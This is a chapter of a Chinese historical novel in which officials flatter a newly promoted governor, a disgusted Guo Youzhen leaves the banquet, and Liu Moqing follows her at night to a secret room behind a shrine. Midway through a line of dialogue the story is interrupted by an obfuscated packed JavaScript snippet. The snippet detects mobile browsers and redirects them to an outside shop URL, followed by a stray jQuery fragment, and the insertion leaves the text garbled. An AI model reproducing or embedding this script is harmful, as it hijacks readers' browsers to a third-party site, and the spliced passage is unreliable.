王佳和其他的一些人比郭幼帧要早来了半步。
此刻的屋子里面已经开始聊的热火朝天。
甚至在房间外面,还未推开门,便能听到里面高亢的声音。
“恭喜王大人荣升二品总督!以王兄平日里的才干与操守,这封疆大吏之位早该是您的了,如今不过是实至名归罢了!”
王佳:“张大人谬赞了,只要是为国为民,大家都是德才兼备的,又何必在意这官职的大小。”
王佳本就是谦虚一言,可刚才说话那人似乎并不赞同他的回复,而是立刻开言反驳:
“王大人实在是太过的谦虚了,要我说啊,相比于此前那位,您才是更适合在这个位置上的人,此前那位做事古板,根本就不懂得变通,还是个说一不二的主,您不知我们底下这些人在他手底下当差,那日子过得有多憋屈难受啊,现在好了,您上来了,咱们总算能痛痛快快一场了。”
只是他这直白的话刚一说完,原本有些躁乱的场面却瞬间静了下来,陷入到了某种尴尬之中。
刚才说话的人在见到如此场面之后,他立刻就反应过来自己说错了话。
王佳与蒋方生前极其交好,几乎是到了形影不离的地步,而自己当这至交好友的面说亡友的坏话,这跟直接打他的脸有什么区别,他慌忙干笑了两声,立即语气卑和的开始找补起来:
“王大人,我不是那个……”
可谁知王佳只是呵呵笑了两声,云淡风轻地接过了话来:
“蒋兄在世时确实是有些古板刻薄,但也是为国为民的好官,他这一去世,是我南朝的一大损失啊。”
他叹了一口气,又继续说:
“不过他有时做事确实难免自己会钻牛角尖,各位大人在他手底下这些年也算是受苦迁就了,”
停了一瞬,“我就用这一杯酒来替他对各位大人之前的无礼道歉,也希望各位大人之后能在我的任上共同齐心协力,为南朝的发展步步高升。”
……
郭幼帧站在门口并未进去,她从最初听到那位张大人的话之时,就一直饶有兴趣地站在门口,想要听听他们这些热闹会说些什么。
在听到别人说蒋方为人刻薄古板之时,她原以为王佳定会对这样诋毁蒋方的行为话语勃然大怒,将他们怒斥一番的,可谁知他只是用了那样一句轻飘飘的话便遮了过去,甚至在最后还肯定了对方话中的意义。
一时间,她竟然有些不知所措的愣在了当场。
房中又响起了一阵推杯换盏的声音,可现在的郭幼帧在听到之后却有些恍惚,她突然觉得王佳有些不真实了起来,这还是她最初认识的那个人吗?
在她短暂的印象中,王佳是一个慈眉善目,会在别人说出可能冒犯她的语句时,为了不让自己感觉尴尬而解释计较的一个好人。
可现在郭幼帧竟然觉得,自己认识的真的是他吗?
这世上的人似乎都像是披着两张皮一样,一张平日里看着光鲜亮丽,能够说出为了民,为了一切,而和颜悦色,徐徐生动。
而另一张,则会在利益达到高潮的顶点之时,突破外面那张虚伪的包裹的面具,挣扎着爬出来,将自己最真实的样子,最想说出的话充斥而出。
所以在这世上,并不会每个人都是循循善诱的殉道者,而只会是利益之上的崇高者。
突然,她便看着那扇门扭曲了起来,胃中的难过不停翻涌,一个又一个的恶心充斥而上,不止对着王佳,甚至是对着她自己,也对这这个世界,充满厌恶。
她紧紧的捂着自己的嘴,不让喉头翻涌的东西遗漏出来。
可胃道里拥有的反应以及不断上涌的恶心,却仍然想充斥而出,往这个虚伪的世界里挣扎。
“呕~”
郭幼帧有些难过的靠在了墙边上,企图用这不结实的墙支撑一下自己的身子,以免它跌落下去。
“郭大人,你没事吧?”
柳墨卿不知何时,竟然出现在了郭幼帧的身边。
他皱着眉头,望着此刻已经有些脸色苍白,双眼通红的郭幼帧充满了关心。
那双骨节分明的手下意识地便想要去伸手拍她的背,可那手伸了半天,却久久没有放下,悬在了半空,最后在挣扎了片刻之后讪讪的收了回来。
郭幼帧见到他倒是并没有太大的反应,只是脸色惨白的冲他挥了挥手,但由于口中翻涌的难受依旧充斥在口边的缘故,并未说话。
“呕~”
“你难受的这般厉害,是吃坏什么东西了吗?”柳墨卿又上前一步,焦急的询问。
“我带你去找大夫!”见郭幼帧并不回自己,他心中的焦灼更甚了,如果不是理智克制的话,他现在都已经恨不得立刻抱着郭幼帧往医馆跑去。
可郭幼帧却并未给他这个机会。
她在干呕了几下之后,胃道终于迟缓了起来,没有了刚才那种恶心的强烈,支起了身来。
她擦了擦眼角的泪水,轻微的吸了一下鼻子,哑着嗓音回到:“应当是来之时不注意,不小心受了风,并无大碍。”
她这话说完,屋内又传来了一阵欢腾的嬉笑声。
可此刻的这番嘻笑,在郭幼帧听来却十分的刺耳。
她和柳墨卿下意识的同时往那声音的来源望了一望,再转过头来的时候,郭幼帧开口说道:
“柳大人,劳烦你进去之后对里面的各位大人说,就说我身体有些不适,就不来赴约了,等到改天再去给各位大人赔罪了。”
说罢,她也不等柳墨卿答不答应,侧开身子,直接略过了柳墨卿的身躯,便挣扎着下楼去了。
柳墨卿在她身后张了一张口,但看她走的那般决绝却最终并未说些什么,只是无奈的叹了一口气。
直到她的背影彻底消失之后,这才有些无趣的推开了那扇仍在嘻笑的房门。
“柳贤弟,你怎么才来?”
一直到了月上柳梢头,这场荒唐热闹的宴席才算得已终止。
对于郭幼帧并未出现的理由,在场的一些人虽然在听后颇有微词,但这种微词仅仅不过几轮的推杯换盏之后,便被他们彻底地遗忘到了脑后。
甚至直到最后,几乎没有人在意郭幼帧有没有来参加这场所谓给她升职所举办的庆祝宴。
柳墨卿恭敬地假笑着将王佳送上了回家的马车,又望着那些一个个道貌岸然的家伙消失的背影,原本僵着的笑脸此一刻终于松懈了下来,重新变成了一副冷冰冰的样子。
原本的温和变成了冷漠,望向那些的人眼中充满了讽刺和不屑。
“真是一群饭桶。”
他又回头望了望身后静默的酒楼,刚才的热闹涌动,现在全都变成了黯淡死寂,只剩下了酒楼门口的酒旗还在猎猎作响。
他没有再多作停留,转身踏下台阶,径直登上了等在门外的马车。
“去郭大人的府上。”他在车厢内坐定,语气沉郁。
现在的他十分的想要见一下郭幼帧,不管是与蒋方之事也好,不是也罢,他都想要急切的见一下她。
车夫是他从婺城中带出来的,向来是个只认主子不认规矩的哑巴。
听了他的吩咐,他连半个字都没多问,便扬鞭打马,驾车远去了。
此时的长街之上早已没了行人。
夜色如浓墨般泼将下来,无声的风敲打在空旷的街道上,留下一个又一个痕迹。
虽然现在离着宵禁还有小半个时辰,但这白下府却像是被抽干了生气一样,早早陷入了停滞与死寂之中。
而恰恰好又是这种空旷,让柳墨卿这行进的一路上并未有任何地阻拦,很快便到了郭幼帧府邸的那条小路之上。
然而,就在他紧绷的心弦刚刚放松,马车即将转过最后一个街角时,变故陡生。
“吁——”
马车夫轻轻的将车停在了当场,他低声发言:“六爷,您要找的那位郭大人似乎趁着这夜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729613|202111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
色出门去了。”
柳墨卿一时间被他这句出门去了绕的丈二的和尚摸不着头脑。
他眉头微蹙,带着不解,起身掀开了帘子往外看了一看。
借着玄天外微亮的月光,这才望见,郭幼帧正穿着一身极不起眼的暗色衣裳,身形几乎与夜色融为了一体。
“她这是要去哪里?”看着郭幼帧这般刻意掩人耳目的打扮,他暗自思忖她一定是要去做什么重要的事情,否则定然不会大晚上的打扮成这样出门。
他想今日来的可真不凑巧,人虽然见到了,但不过是一个背影而已,连话都没有说上一番,一时间他的心里不经有些落寞,便下意识地想要对着车夫说回去。
他想今日来的不凑巧,那便明日找空再来吧。
可谁知心念一动,刚才想要说的话,脱口而出竟然变成了:“你先回去吧。”
这话说出口的瞬间,他自己也愣住了,但又想到话已出口那便说明心之所动,他知晓如果自己今日不去跟着看看的话,恐怕一晚上都会睡不着的。
说罢,他便跳下了马车,悄悄地跟在了已经只剩下影子的郭幼帧的身后来。
一路前进,东拐西拐,柳墨卿跟着她到了一座小宅院的门口。
这宅院看着孤零零、冷邦邦的,厚重的时间在它的身上似乎形成了灰尘的刻度,让它整个都有一种不能靠近的孤寂感。
他望着郭幼帧左顾右盼地看了看四周,在发现没有任何的异常之后,才小心翼翼地推门进去。
柳墨卿好奇地望着她,看着她进门,十分不解她来这样一座明显看着就没有人居住的院落里干什么?
难不成她在这里藏了什么宝藏不成?
心下的好奇瞬间便占领了他脑中的理智,他十分的想看一看郭幼帧藏在这里面的秘密。
在望到郭幼帧的身影消失之后,他便立即跟在她的身后跳上了门墙,趴在了墙头之上。
借着微弱的月光,他看见郭幼帧毫不停留的走进了正堂的一个屋子之中,而紧随其后,他从墙头一跃而下,脚步浅浅的也快步走到了那扇房门之前。
破烂的纱窗略微透出烛火光亮,柳墨卿细细的往房中查看着着郭幼帧的动向。
这才发现,郭幼帧在进门之后并未有其他的动作,而是先向着房中早已落满了灰尘的佛龛恭恭敬敬的上了三柱香。
香燃烧的袅袅炊烟在蜡烛的光照旁并不起眼,如果不是因为那一桌子香灰的存在话,根本就无人觉得这是一间会有人来拜祭的场所。
柳墨卿一时间不免有些疑惑,他不懂这大半夜的郭幼帧打扮成这个样子就是为了来给一个佛龛上香,那上面供的是什么?值得她这般的大费周章。
然而就在他还在猜想的时候,下一秒他便看到郭幼帧在对着那佛龛鞠了三躬之后,毫不留情的推开了那佛龛的身后。
柳墨卿才知晓,原来这佛龛后面竟然别有洞天。
他一时间有些惊奇,直到眼睁睁的看着郭幼帧拿着那蜡烛走了进去才回过神来。
此时的柳墨卿对着郭幼帧和那身后洞开的一个密室更加的好奇了起来。
他有些想不明白为什么郭幼帧会在这样一个废弃的屋子里开这样一间神秘的暗门?
莫非是里面藏着什么见不得光的秘密不成?可真若是如此,她大可以直接将其藏在家中眼皮子底下,又何必多此一举,费这般周折?
然而藏东西倒是次要,最主要的是她究竟是藏得什么。
一时间,猛烈的好奇心在他的胸腔里横冲直撞,他几乎都快要被这好奇心拽着想要亲手打开那房门看上一看,可最后的理智却牢牢抓住了他。
他绝不可能跟她一同进去的,且不说这门后面会是怎么样的安排所在,就单说若是郭幼帧去而复返,撞见了他尾随在后的话,不管自己怎么,都会是百口莫辩的存在。
权衡再三,他便只能压下了心中的好奇,按着原路悄无声息的退了回去。